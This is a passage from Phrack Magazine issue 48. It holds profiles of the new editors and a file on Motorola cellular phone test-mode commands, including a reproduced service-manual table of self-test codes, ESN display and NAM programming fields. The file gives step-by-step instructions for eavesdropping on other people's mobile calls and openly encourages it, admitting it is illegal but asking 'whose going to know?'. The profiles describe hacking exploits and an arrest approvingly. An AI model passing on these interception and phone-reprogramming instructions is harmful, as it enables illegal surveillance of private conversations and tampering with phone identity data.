find only the finest in technologies and tools. A place of much learning and
information trade. A knowledge dumping ground. Thus was born the Information
Nexus. With anywhere from 6-10 machines the Nexus is a heterogenous
environment: the OS's range from several Unix flavors, several versions of
Windows NT, and, of course, the mundane stuff (like DOS/WFW). The main box,
Onyx, is a heavily tweaked Linux machine. It is a P120 with 32MB RAM and 2
GIGs of HD space.
As it stands now, accounts are given on restricted basis, only to
friends and people I know (or people whose reputation precedes them). As soon
as I upgrade the link from a 28.8 modem I will start offering accounts to the
masses, at a nomial fee. I will also open up ftp access, allowing a greater
number of users at all hours.
The Infinity Concept
--------------------
TIC is the zine the Guild put out. Some of the noteworthy subjects
written on: Cryptography, Windows NT security, Unix security,the security
of PGP, and several coding projects... We have done 3 issues to date, but
I have stopped further production of the zine to devote my full attention to
Phrack magazine.
Phrack Magazine
---------------
Several months back, I hopped on IRC with some of my Guild-mates and
was having a wonderous discussion on, oh, nothing. Well, Voyager was on, and
he dragged me into a private chat. He told me about ErikB stepping down, and
told me he and ReDragon were to take over as the new editors... I was very
happy for him, and told him I would have jumped at the chance to do it. That
was his next question... Since then, ReDragon, Voyager and I have been
salivating like dogs waiting to get our hands on the legend that is Phrack
Magazine.
My pledge is twofold: Timely distribution and nothing but the highest
quality articles. We will be distributing Phrack on a regular seasonal
rotation and will weed out all but the top-notch articles. I plan to write
at least one article per issue. I promise this much: You will not be
disappointed...
-----------------------------------------------------------------------------
Prophile on ReDragon
Personal
~~~~~~~~
Handle: ReDragon
Call Him: Dave
Past Handles: Dr. Disk (circa '84), The Destroyer (circa '88)
Handle Origin: Thomas Harris Book, Saab insignia, D&Dish sort of
name, then I decided it would be cooler (and original)
if it was all one word and one D.
Date of Birth: 12/30/75
Age of current date: do the math yourself
Height: 5' 11"
Weight: 175
Eye Color: Green
Hair Color: Brown
Computers: Apple ][e, Atari 800, 8088, 386sx/16, 386dx/40, and
right now a 486/33
------------------------------------------------------------------------------
I got my Hayes Micromodem //e in the summer of '84. I was eight years old
and with the help of my babysitter begged my way onto an H/P board. I used
to read Phrack and write BASIC code, I was quite the clueless newbie for a
while. People say age doesn't matter, but it does when you are that young.
My lameness continued, I learned Pascal, the years passed, and I started to
figure out how things worked. I discovered Unix, it was cool. I learned
what Crack was, I used it. Years passed I started to figure out how things
worked. I would go into more detail but I don't really care to tell the
world about my life, ask me privately if you care.
ReD's Favorite Things
~~~~~~~~~~~~~~~~~~~~~
Women: yes
Cars: Saab
Foods: Taco Bell (doesn't everyone?), Young animals killed cruely
Music: Pink Floyd, Beatles, anything not techno
Leisure: IRC is bad for you, just say no.
Alcoholic Fun: Bottled beer, Jaegermeister, Long Island Iced Teas
Most Memorable Experiences
~~~~~~~~~~~~~~~~~~~~~~~~~~
Saab car trouble in Queens on the way to HOPE.
Saab car trouble on PA Turnpike on way back from Pumpcon.
Saab stranded on George Washington Bridge on way to SummerCon '95.
Saab finally breaks down on NY Turnpike on way home.
SummerCon '95 (memorable that I don't remember any of it)
SummerCon '96 (the worst organized con I have ever been to)
Some People To Mention
~~~~~~~~~~~~~~~~~~~~~~
The Green Machine (for altering my life more than I can imagine)
Acker (even though you gave up on it all, wish I knew what you were doing now)
Bluesman (why didn't you tell me about C earlier?)
Zorgo (for ruining my life showing me IRC)
Wozz (I still don't believe you grew up there)
r00t (you're all a bunch of idiots, but i love you)
Asriel (we are pretty similar people, except I'm not a narq)
Max-Q (screaming at me "Nice Fuckin' Con!" after Summercon '96, I was touched)
Taran King (you were cool to me when I was nobody, I was impressed)
Sirsyko (only hacker I know that I actually trust)
ErikB (annoying him enough made for an interesting summercon and a new phrack)
l0pht (for bringing back what hacking is really about)
b (stuff?)
Why Phrack?
~~~~~~~~~~~
I have been in one way or another involved in the "hack scene" for more
than half my life. I spent a large part of that on the lower end of the
knowledge ladder, and throughout it all few people helped me along directly.
What I recognize though is that there have been scores of people that have
spent their time, at no personal gain to themselves, to help educate others
about something that they know a bit more about than the rest of us.
I read a lot of books to learn about hacking; I paid for them and the
authors have gotten the money they deserve. I learned quite a bit from
college; I paid quite a lot for college. But I have learned about hacking
most of all from hackers. How can I repay those that have given me so much?
We are rather fortunate to be in a position where we actually can give
something back to them. We can give them a new generation of hackers that
have the same opportunities to learn and to share their knowledge that we
had. We can show them that we haven't forgotten about where we started; we
haven't forgotten about why we are hackers; and we haven't forgotten that
to be a hacker is a passion, and it is something we are proud of.
To my peers, consider giving something back to the community. To the next
generation, learn from what we give and explore from what you learn; it will
soon be your turn to take our place. And to those that made this all possible,
to those that gave their own knowledge in the name of the community, the
hundreds of authors, the ten editors, and most of all the readers: Thank You.
-ReDragon
-----------------------------------------------------------------------------
Prophile on Voyager
Personal
~~~~~~~~
Handle: Voyager
Call him: Will
Date of Birth: 06/23/69
Age: 27
Height: 6'
Weight: 200lb
Computers owned: 486DX4-100(FreeBSD), 486SX25(OS/2) and P-75 laptop(PC-DOS)
How did this handle originate? I jumped on IRC one day and didn't want
to use my real handle, so I made this one up on the spur of the moment.
How I Got Started
~~~~~~~~~~~~~~~~~
I didn't start hacking computers until I went to college. I taught
myself to use PRIMOS and I started hacking because the 150k disk quota I
was given wasn't large enough for me to compile decent sized programs.
I started hacking in '87 and didn't run into another hacker until '91.
I got Internet access and I found Phrack on ftp.eff.org. Wow! I
thought, these people are serious. Shortly thereafter, I compiled the
VMS client for IRC and I was talking to other hacker types on a regular
basis.
About that time, I put up a BBS. The system is now known as "Hacker's
Haven." The system has become fairly popular, with over 1,400 users
surviving the last 90 day purge.
In '92, I wrote a "bot" in the IRC scripting language and called it
"HackSrv." HackSrv distributed H/P files on demand and also opped all of
us regular #hack cronies.
Late in '92 I moved to Atlanta and started organizing 2600 Meetings. We
had a blast. We held them at my apartment. I can't imagine what my
neighbors thought. I still remember 40 people in my tiny living room
huddled around the TV watching sneakers. One week, we were hacking on
one terminal, IRC'ing on another, watching a lockpicking demo on the
front door, sorting trash on the balcony, having firearms instruction in
the bedroom, and setting off bottle rockets from the kitchen to the
living room. The last is not a good idea, by the way.
Over the course of the next few years, #hack went completely to hell.
The place became littered with clueless newbies asking clueless newbie
questions. Other people, usually even less clueful newbies, would kick
and ban people for asking questions. This effectively stopped all useful
conversation on #hack, as anyone who brought up a technical topic was
likely to be kicked immediately. This led to a group of #hack ChanOp's
who had absolutely no technical knowledge and instead wasted away the
hours stroking their egos. I was annoyed by the incredible cluelessness
that had taken over the once fine channel and decided to do something
about it.
Towards that end, I wrote the #hack FAQ. The #hack FAQ was to be given
to new people to bring them up to speed in a short amount of time. This,
I reasoned, would raise the intellectual level on conversation on #hack.
It would also set the tone for conversation on #hack back to the technical
atmosphere I had known just a few years earlier. Later, the #hack FAQ
became the alt.2600/#hack FAQ and it's purpose was expanded to cover
the newsgroup alt.2600.
In the Summer of '94 I moved to Denver and joined up with TNO. TNO is a
group of friends who share an avid interest in computer and telephone
security. Today, TNO consists of Cavalier, DisordeR, Major, Edison and
myself.
Over the last few years, I've written for Phrack, 2600, CoTNo and FUCK.
I've wanted to be Phrack editor since Taran King retired. When ErikB
told me he was looking to retire from the job, and that I was being
considered as the next Phrack editor, it hit me just how big of a
responsibility this was. I spoke with ReDragon (Editor of FEH) and
daemon9 (Editor of The Infinity Concept). Together, we agreed to set
aside our current e-zine's (I was the current Editor of CoTNo) and focus
all of our attention on Phrack. We have received offers of support from
many old and new people in the hacking community. I am looking forward
to a bright future for Phrack.
Interests
~~~~~~~~~
Women: Sharp and quick
Cars: Big and fast
Food: Spicy to the point of pain
Music: Rock and Roll
Favorite performers: Jimmy Buffett, The Eagles
Favorite author: Joel Rosenberg
Favorite Book: Unix Power Tools
Most Memorable Experiences
~~~~~~~~~~~~~~~~~~~~~~~~~~
KL kicking me off #hack for saying that hacking was wrong.
Captain Hemp hiding my address and phone number in a bag of trash.
Reading my first sniffer log.
Getting arrested with Captain Hemp outside of a Southern Bell facility.
Finding the switch with the unpassworded root account.
Being pulled over on the way to HoHoCon while we were moshing in the
van.
DeadKat and Cavalier doing the root dance.
Being followed by the security guard with the baby seat.
Major and I *not* getting mugged and beaten by the gang of thieves, even
though he could barely stand up and neither of us were carrying at the
time.
Some People To Mention
~~~~~~~~~~~~~~~~~~~~~~
Major : You are, at the same time, one of the best people I have
ever known and one of the worst people I have ever
known. I am just glad I am on your side, and you mine.
I trust you with my life, and with a few of the
situations we've been through, that's not just talking.
Cavalier : You taught us all what was important in a group. Your
steadiness and common sense has helped carry TNO through
the dark times. As always, I'm glad to have you here.
You can always be counted on, and that means a great
deal to me.
The Presence : It is always a pleasure to talk to you. You have taught
me more than anyone else in the scene. You will always
be one of the best. The strength of your ethics will
guide you through where lesser men would fail.
Captain Hemp : There's no one I'd rather be arrested with.
NoCar / K : Congratulations on your new system!
The Final Question
~~~~~~~~~~~~~~~~~~
I have met quite a few hackers. Very few have been "geeks" in the
traditional sense of the term. I have met hacker business people,
hacker jocks, hacker criminals, hacker stoners, hacker programmers, and
hacker skater punks. It's a sport for just about anyone with
intelligence, dedication, and absolutely no respect for authority.
_______________________________________________________________________________
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Seven, Issue Forty-Eight, File 6 of 18
Motorola Command Mode Information
Written and typed up by Cherokee
NOTE: The following text is only a few pages from an official Motorola
handbook that I received, thanks to Ob1.
THIS IS NOT A COMPLETE HANDBOOK
but it is very useful as a guide to learning how to use the self
test instructions on the Motorola series of cellular phones.
To actually enter the self test modes, THERE ARE SEVERAL STAGES
BEFORE HAND THAT NEED TO BE DONE. They depend upon what type of
Motorola mobile phone you possess. To my knowledge, the self test
mode instructions are the same on every Motorola phone, the only
difference will be how you enter the test mode. That I leave up to
you to find out as there are lots of help files already out there,
unless, there is a great demand for it.
I will now show you how easy it is to use the test mode to your
advantage.
Say, your the average peeping Tom or Sally (what hacker isn't?),
this is how to listen in on other peoples mobile conversations.
1.Enter the test mode.
2.Turn the speaker on (08#) also called un-muting the receive audio.
3.Tune into a channel(11xxxx#) (where x can range from 0 to
600[TACS] and 1329 to 2047[ETACS].)... Although I'm not 100% sure
of the channel mapping, (theres conversations in the range between
600 to 1329), you'd do best to stick to playing around with these.
You may have to try several different channels, to pick up a
conversation, not every channel is occupied with a user. I
suggest you try 0 to 50, this is almost guaranteed to give you a
result. BTW, it is actually illegal to monitor mobile
communications without the consent of both parties, but hey, whose
going to know? :-)
Displaying information - Some handsets only allow display 1 line,
and therefore you wont be able to see all of the information being
sent to you. There are 2 ways around this. 1. Is to go and get a
handset which can display 2 lines of information. 2. to send the
data to your computer to display on the screen, apparently the
data is sent and received in an unfamiliar packet format, and will
need to be decoded.
FINAL NOTE:
There are several conflicting sources for some commands, this is
because of different versions of the ROM, so I'm putting all of
the test codes bundled together in this file, and will update the
list if there are any significant changes, or I find out about a
new command in a later ROM version.
Just one last final note to say hi to Davex[thanks for the NAM
guide], Ratscabies, Maelstrom, Hi.T.Moonweed and Ob1.
----------------------------------------------------------------------------
Motorola Self Test Mode Instructions
------------------------------------
1. INTRODUCTION
Portable radio telephones are equipped for self-test, allowing service
personnel to control and monitor radiotelephone functions via the
telephone keypad. The self-test mode operates at two levels:
1) a status display level, which allows the portable telephone to
operate normally while providing status indications in the display and;
2) the service level, which removes the portable telephone from normal
service and allows commands to be entered through the keypad to
'manually' control the operation of the radiotelephone.
2. OPERATING PROCEDURES
2.1 STATUS DISPLAY LEVEL OF SELF-TEST
This level of self-test is entered by momentarily shorting pin 6 of J2
to ground, while turning the radiotelephone on. The self-test mode can
also be entered using the portable radiotelephone test kit (RTL4228A and
RTL4229A).
In this level of self-test mode the radiotelephone will place and
receive calls as normal except the radiotelephone displays status
information. The displayed status information alternates between the
channel number and RSSI status information, and the primary status
information (SAT frequency, carrier state, signaling tone state, power
level, voice/data channel mode, and Rx and Tx audio states). The format
and explanation of this status information is given in Table 1 under 02#
Radio Status Request.
When dialing a phone number, the display of the status in formation
ceases when the first digit of the phone number is entered. When the
Snd button (or End or Clr) is pressed, the status information display
resumes.
2.2 SERVICING LEVEL OF SELF-TEST
|-----------------------------------------------------------
| NOTE
|-----------------------------------------------------------
| While in the servicing level mode of self-test, the
| display does not alternate. Only the primary status
| information is displayed.
|-----------------------------------------------------------
The servicing level allows the servicing personnel to take control of
the radio operation by entering the test commands through the telephone
keypad. Such parameters as operating channel, output power level
muting, and data transmission can all be selected by entering the
corresponding commands. The servicing level is entered from the status
display level by pressing the (#) button. At this time the radio
telephones cease to function automatically in the radiotelephone system.
Table 1 shows the test commands and the corresponding results.
INTERNATIONAL CELLULAR PORTABLE
Table 1. Test Commands For Self-Test Mode
|---------------------------------------------------------------------------
| NOTES:
| 1. Each command consists of at least two digits entered from the telephone
| keypad with the entry terminated using the (#) key.
| 2. If the command relates to a test function with multiple data displays,
| the (#) key is used to pause at scanning data or to step through
| sequential test functions. Entering the (#) key during a pause time
| resumes scanning.
| 3. For commands that initiate an action that requires a response or that
| accumulates error counts, the (#) key terminates the test.
|---------------------------------------------------------------------------
|Keypad Entry | Command Description | Status | Result
| | | Display |
|-------------|-------------------------------------------------------------
| # |Enter Test Command | |
| |Mode | |
|-------------|---------------------|---------|-----------------------------
| 01# |Restart (Re-enter DC | |
| |power startup routine| |
|-------------|---------------------|---------|-----------------------------
| 02# |Radio Status Request | AAAA=BB | AAAA=Channel Number(decimal)
| | | | BB=RSSI reading for channel
| | | CDEFGHI | C=SAT Frequency
| | | | 0=5970 Hz
| | | | 1=6000 Hz
| | | | 2=6030 Hz
| | | | 3=No Lock
| | | | D=Carrier(1=ON)
| | | | E=Signaling Tone(1=ON)
| | | | F=Power Attention Level(0-7)
| | | | G=Mode(1=control channel
| | | | 0=voice channel
| | | | H=Receive Audio Mute(1=muted)
| | | | I=Transmit Audio Mute(1=muted)
| | | | When the radiotelephone is
| | | | operating in the status display
| | | | level of self-test, the
| | | | information that is displayed
| | | | alternates between AAAA BB
| | | | and CDEFGHI. In the servicing
| | | | level of self-test, only the
| | | | information designated by
| | | | CDEFGHI is displayed.
|-------------|---------------------|---------|-----------------------------
| 03# | (NOT USED) | |
|-------------|---------------------|---------|-----------------------------
| 04# | Initialize | | Carrier=OFF
| | Transceiver | | Power Level=0
| | | | Receive Audio=MUTED
| | | | Transmit Audio=MUTED
| | | | Signaling Tone=OFF
| | | | SAT=OFF
| | | | DTMF & Audio Tones=OFF
| | | | Audio Path=TO SPEAKER
|-------------|---------------------|---------|-----------------------------
| 05# | Carrier On | | Turn carrier on
|-------------|---------------------|---------|-----------------------------
| 06# | Carrier Off | | Turn carrier off
|-------------|---------------------|---------|-----------------------------
| NOTE: Use the PATH command (35A#) to select the audio path to test before
| using commands 07# through 10#.
|-------------|---------------------|---------|-----------------------------
| 07# | Rx Mute | | Mute the receive audio
|-------------|---------------------|---------|-----------------------------
| 08# | Rx Un-mute | | Un-mute the receive audio
|-------------|---------------------|---------|-----------------------------
| 09# | Tx Mute | | Mute the transmit audio
|-------------|---------------------|---------|-----------------------------
| 10# | Tx Un-mute | | Un-mute the transmit audio
|-------------|---------------------|---------|-----------------------------
| 11ABCD# | Load Synth | | Load synthesizer with ABCD
| | | | where ABCD = channel number
| | | | in decimal (1329-2047, 0-600)
|-------------|---------------------|---------|-----------------------------
| 12# | Set ATTN | | Set RF power attention to A
| | | | where A=attention level(0-7;
| | | | 0=maximum power)
|-------------|---------------------|---------|-----------------------------
| 13# | RESET OFF | | This command should cause the
| | | | Logic Unit to set WATCH DOG
| | | | low and result in power-down
| | | | of the radiotelephone.
|-------------|---------------------|---------|-----------------------------
| 14# | STON | | Transmit signaling tone 10khz
|-------------|---------------------|---------|-----------------------------
| 15# | STOFF | | Stop transmitting signaling
| | | | tone 10khz
|-------------|---------------------|---------|-----------------------------
| 16# | SETUP | | Transmit a five word reverse
| | | | control channel message; each
| | | | of the five words will be
| | | | "FF00AA55CC33". The trans-
| | | | mitter de-keys at end of
| | | | message
|-------------|---------------------|---------|-----------------------------
| 17# | VOICE | | Transmit a two word reverse
| | | | voice channel message; both
| | | | words will be "FF00AA55CC33".
| | | | The transmitter de-keys at end
| | | | of message.
|-------------|---------------------|---------|-----------------------------
| 18# | SEND NAM | | AA = Address BB = Data
| | | | Displays contents of NAM, one
| | | | address at a time, advanced
| | | | by pressing the (*) key.
| | | | Note the address goes up to 1f
|-------------|---------------------|---------|-----------------------------
| 19# | VERSION | | Displays software version
| | | | number as "year, week"
|-------------|---------------------|---------|-----------------------------
| NOTE: Entering commands 20# through 23# or 27# causes the transceiver to
| begin a counting sequence or continuous transmission as described below.
| In order to exit from the commands to enter another test command, the (#)
| key must be depressed; all other key depressions are ineffectual.
|---------------------------------------------------------------------------
| 20# | RCVS 1 | | Receive control channel
| | | | messages counting correctable
| | | | and uncorrectable errors.
| | | | When the command starts, the
| | | | number of the command will be
| | | | displayed in the right hand
| | | | side of the display. Entering
| | | | a # key will terminate the
| | | | command and display a two
| | | | three digit number in the
| | | | display. The first number
| | | | is the number of correctable
| | | | errors and the second is the
| | | | uncorrectable errors.
|-------------|---------------------|---------|-----------------------------
| 21# | RCVV 1 | | Receive voice channel
| | | | messages counting correctable
| | | | and uncorrectable errors.
| | | | When the command starts, the
| | | | number of the command will be
| | | | displayed in the right hand
| | | | side of the display. Entering
| | | | a # key will terminate the
| | | | command and display a two
| | | | three digit number in the
| | | | display. The first number
| | | | is the number of correctable
| | | | errors and the second is the
| | | | uncorrectable errors.
|-------------|---------------------|---------|-----------------------------
| 22# | WSTS | | Receive control channel
| | | | messages counting word sync
| | | | sequence. When the command
| | | | starts, the number of the
| | | | command will be displayed in
| | | | the right side of the display.
| | | | Entering a # key will
| | | | terminate the command and
| | | | display the number of word
| | | | sync sequences in the display.
|-------------|---------------------|---------|-----------------------------
| 23# | WSTV | | Receive voice channel
| | | | messages counting word sync
| | | | sequence. When the command
| | | | starts, the number of the
| | | | command will be displayed in
| | | | the right side of the display.
| | | | Entering a # key will
| | | | terminate the command and
| | | | display the number of word
| | | | sync sequences in the display.
|-------------|---------------------|---------|-----------------------------
| 24# | (NOT USED) | |
|-------------|---------------------|---------|-----------------------------
| 25A# | SATON | | Enable the transmission of
| | | | SAT where A = SAT frequency.
| | | | See chart below.
| | | | A SAT Freq.
| | | | 0 5970 Hz
| | | | 1 6000 Hz
| | | | 2 6030 Hz
|-------------|---------------------|---------|-----------------------------
| 26# | SATOFF | | Disable the transmission of
| | | | SAT.
|-------------|---------------------|---------|-----------------------------
| 27# | TRANSMIT DATA | | TX continuous control channel
| | | | data.
|-------------|---------------------|---------|-----------------------------
| 32# | CLEAR | | Clears non-volatile memory.
| | | | Clears all stored numbers.
|-------------|---------------------|---------|-----------------------------
| 33# | DTMF | | Turn DTMF on.
|-------------|---------------------|---------|-----------------------------
| 34# | DTMF | | Turn DTMF off.
|-------------|---------------------|---------|-----------------------------
| 35# | DISPLAY RSSI | | 'D' series portable only.
|-------------|---------------------|---------|-----------------------------
| 35A# | SET AUDIO PATH | | Where A = the following...
| | | | 1 = Speaker
| | | | 2 = Microphone
| | | | 3 = Earpiece
|-------------|---------------------|---------|-----------------------------
| 38# | DISPLAY ESN | | Displays ESN in four steps,
| | | | hit * till back at start.
|-------------|---------------------|---------|-----------------------------
| 41# | (NOT USED) | | Enables diversity.
|-------------|---------------------|---------|-----------------------------
| 42# | (NOT USED) | | Disables diversity.
|-------------|---------------------|---------|-----------------------------
| 43# | (NOT USED) | | Disables diversity.
|-------------|---------------------|---------|-----------------------------
| 44# | (NOT USED) | | Disables diversity.
|-------------|---------------------|---------|-----------------------------
| 45# | READ RSSI | | Returns the RSSI reading
| | | | taken on the current channel.
| | | | The number is displayed as a
| | | | three digit decimal number.
|-------------|---------------------|---------|-----------------------------
| 46# | (NOT USED) | |
|-------------|---------------------|---------|-----------------------------
| 47A# | AUDLEV | | Set audio level where A=level
| | | | (0=lowest, 15=highest). The
| | | | normal level is 2.
| | | | NOTE: Use 8 to 12 only for
| | | | DTMF applications.
|-------------|---------------------|---------|-----------------------------
| 48# | SIDETONE ON | | Enable sidetone(Command 05#
| | | | must also be executed.
|-------------|---------------------|---------|-----------------------------
| 49# | SIDETONE OFF | | Disable sidetone(Command 06#
| | | | must also be executed.
|-------------|---------------------|---------|-----------------------------
| 50# | MAINN | | Not normally used. Tests data
| | | | transmission/reception with
| | | | transmit path connected
| | | | externally to receive path.
| | | | Maintenance data is trans-
| | | | mitted and test results
| | | | displayed:
| | | | PASS= received data is correct
| | | | FAIL=2-second timeout, no data
| | | | received, or received data is
| | | | incorrect.
|-------------|---------------------|---------|-----------------------------
| 51# | MAINL | | Tests data paths internal to
| | | | the logic unit, where
| | | | maintenance data is trans-
| | | | mitted and looped back.
| | | | Display is as follows:
| | | | PASS= received data is correct
| | | | FAIL=2-second timeout, no
| | | | looped-back data, or
| | | | looped-back data is incorrect.
|-------------|---------------------|---------|-----------------------------
| 52A# | (NOT USED) | |
|-------------|---------------------|---------|-----------------------------
| 53# | (NOT USED) | |
|-------------|---------------------|---------|-----------------------------
| 54# | (NOT USED) | |
|-------------|---------------------|---------|-----------------------------
| 55# | DISPLAY/PROGRAM | NAM | Displays the contents of the
| | | | NAM, one step at a time, ad-
| | | | vanced by depressing the (*)
| | | | key. Only the last 7 digits
| | | | of data are displayed. Refer
| | | | to NAM programming instruct-
| | | | ions in this manual for progr-
| | | | amming details.
|
| 01. 02051 - System ID umber. Vodaphone=02051 Cellnet=03600
| 02. xxxxxxxx - A option byte (in binary)
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Local use (bit A7) if set to 1 mobile will |
| | 0 | respond to local control orders in the home|
| | | area. Assigned by system operator. |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Preferred system (bit A6) applies to units |
| | 0 | capable of operating on two service systems|
| | | 0 = system B 1 = system A |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | End-to-end signaling (bit A5) when enabled|
| | 1 | indicates mobile is equipped for DTMF via |
| | | the keys after the landline connection is |
| | | made. 1 = enabled 0 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | Bit not used (bit A4) |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Repertory (bit A3) indicates the mobile is |
| | 1 | equipped with speed-dialing storage. |
| | | 1 = enabled 0 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Aux alert (bit A2) when enabled, user can |
| | 1 | place the mobile in aux alert mode and be |
| | | notified of incoming call via an aux device|
| | | 1 = enabled 0 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | H/F auto mute (bit A1) when enabled, mobile|
| | 0 | will automatically be in the mute mode when|
| | | a call is made using the hands-free mode |
| | | 1 = enabled 0 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Minmark (bit A0)supplied by system operator|
| | 0 | when enabled the users MIN2 will be sent |
| | | with each call initiated or answered. |
| | | 1 = enabled 0 = disabled |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| 03. xxxxxxxxxx - Mobile phone number
| 04. xxxxxxxxxx - 10 digit min
| 05. 17 - Station class mark
| 06. 09 - Access overload class (15 highest priority)
| 07. xxxxxx - Security code
| 08. xxx - Lock code
| 09. xxxxxxxx - B option byte (in binary)
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | bit b7 not used |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | bit b6 not used |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | bit b5 not used |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Extended field (bit b4) when enabled, the |
| | 0 | mobile would scan more than 32 paging ch. |
| | | currently not used in UK. |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Single system scan (bit b3) if set to 1 |
| | 1 | the mobile will scan only 1 system based |
| | | on the setting of option byte A bit 6 |
| | | 1 = enabled 0 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Auto recall (bit b2) this option allows the|
| | 1 | user to access repertory by a 1 or 2 digit |
| | | send sequence |
| | | 1 = enabled 0 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Disable service levels (bit b1) if set to 1|
| | 0 | service levels couldn't be changed from the|
| | | control unit. |
| | | 0 = enabled 1 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Lock code (bit b0) when enabled, allows the|
| | 0 | user to lock and unlock the mobile using |
| | | the three digit lock code. |
| | | 0 = enabled 1 = disabled |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| 10. xxxxxxxx - C option byte (in binary)
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | User NAM programming (bit c7) when enabled |
| | 0 | allows user to program NAM from handset |
| | | 0 = enabled 1 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | Single/Dual system (bit c6) 0=single 1=dual|
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Call timer (bit c5) when enabled, the user |
| | 0 | can access the call timer. |
| | | 0 = enabled 1 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 1 | Auto re-dial (bit c4) |
| | | 0 = enabled 1 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Speaker disable (bit c3) enable or disable |
| | 1 | handset speaker when fitting hands free |
| | | 0 = enabled 1 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | bit c2 not used |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Selectable system (bit c1) allows user to |
| | 1 | select primary system. |
| | | 0 = enabled 1 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | bit c0 not used |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| 11. xxxxxxxx - D option byte (in binary)
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | Max volume (bit d7) sets max vol to step 4 |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | Theft disable (bit d6) when set to 1, theft|
| | | alarm is not accessible. |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | Beeper disable (bit d5) 1=disable |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 1 | EXT DTMF(bit d4) when clear, DTMF is routed|
| | | directly through APC. |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | 0 | Flashing roam (bit d3) if enabled, roam |
| | | light will flash when home area roaming. |
| | | 1 = enabled 0 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Audio convenience (bit d2) if disabled, |
| | 0 | audio levels are re-centered on power up. |
| | | 0 = enabled 1 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Time rx calls (bit d1) call timers will |
| | 0 | accumulate on incoming calls when enabled |
| | | 1 = enabled 0 = disabled |
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
| | | Charge rate (bit d0) when enabled,telephone|
| | 1 | will respond to charge rate information |
| | | 1 = enabled 0 = disabled |
| ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| 12. 0023 - Initial paging system 0023=Vodaphone 0323=Cellnet
| 13. 0023 - Initial paging channel A
| 14. 0323 - Initial paging channel B
| 15. 021 - Dedicated paging channels
| 16. xxxxxxxx - E option bytes (in binary)
| |~~~~~~~~~~~~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|
